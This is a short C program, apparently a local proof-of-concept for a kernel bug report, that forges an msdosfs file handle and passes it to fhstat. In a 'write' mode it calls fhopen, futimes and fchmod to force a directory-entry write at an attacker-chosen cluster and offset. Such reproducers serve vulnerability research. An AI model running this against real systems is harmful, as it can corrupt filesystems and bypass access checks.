DF-3157 / fhtest.c
/* fhtest — build a forged fhandle and pass it to fhstat/fhopen (same * VFS_FHTOVP -> msdosfs_fhtovp -> deget path as nfsd). Local diagnostic. * usage: fhtest <dirclust> <dirofs> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/param.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/fcntl.h> #include <utime.h> int main(int argc, char **argv) { struct statfs st; struct fhandle fh; struct stat sb; int ret, fd; if (argc < 3) return 1; if (statfs("/fat", &st)) { perror("statfs"); return 1; } memset(&fh, 0, sizeof(fh)); fh.fh_fsid = st.f_fsid; struct { uint16_t len, pad; uint32_t clust, dirofs; } defid; defid.len = 12; defid.pad = 0; defid.clust = strtoul(argv[1], 0, 0); defid.dirofs = strtoul(argv[2], 0, 0); memcpy(&fh.fh_fid, &defid, 12); if (argc > 3 && !strcmp(argv[3], "write")) { /* fhopen the forged handle, then utimes+fchmod+ftruncate the fd: * VOP_SETATTR -> deupdat -> DE_EXTERNALIZE 32-byte write at the * forged (dirclust, dirofs) location. */ fd = fhopen(&fh, O_RDWR); if (fd < 0) { printf("fhopen(%u,%u) errno=%d(%s)\n", defid.clust, defid.dirofs, errno, strerror(errno)); return 1; } printf("fhopen(%u,%u) = fd %d -- issuing setattr\n", defid.clust, defid.dirofs, fd); struct timeval tv[2]; tv[0].tv_sec = 1599999999; tv[0].tv_usec = 0; tv[1].tv_sec = 1599999999; tv[1].tv_usec = 0; ret = futimes(fd, tv); printf("futimes = %d errno=%d\n", ret, errno); ret = fchmod(fd, 0444); printf("fchmod = %d errno=%d\n", ret, errno); close(fd); return 0; } errno = 0; ret = fhstat(&fh, &sb); printf("fhstat(%u,%u) = %d errno=%d(%s)", defid.clust, defid.dirofs, ret, errno, strerror(errno)); if (ret == 0) printf(" -> ino=%llu size=%llu mode=%o uid=%u mtime=%ld", (unsigned long long)sb.st_ino, (unsigned long long)sb.st_size, sb.st_mode, sb.st_uid, sb.st_mtim.tv_sec); printf("\n"); return 0; } |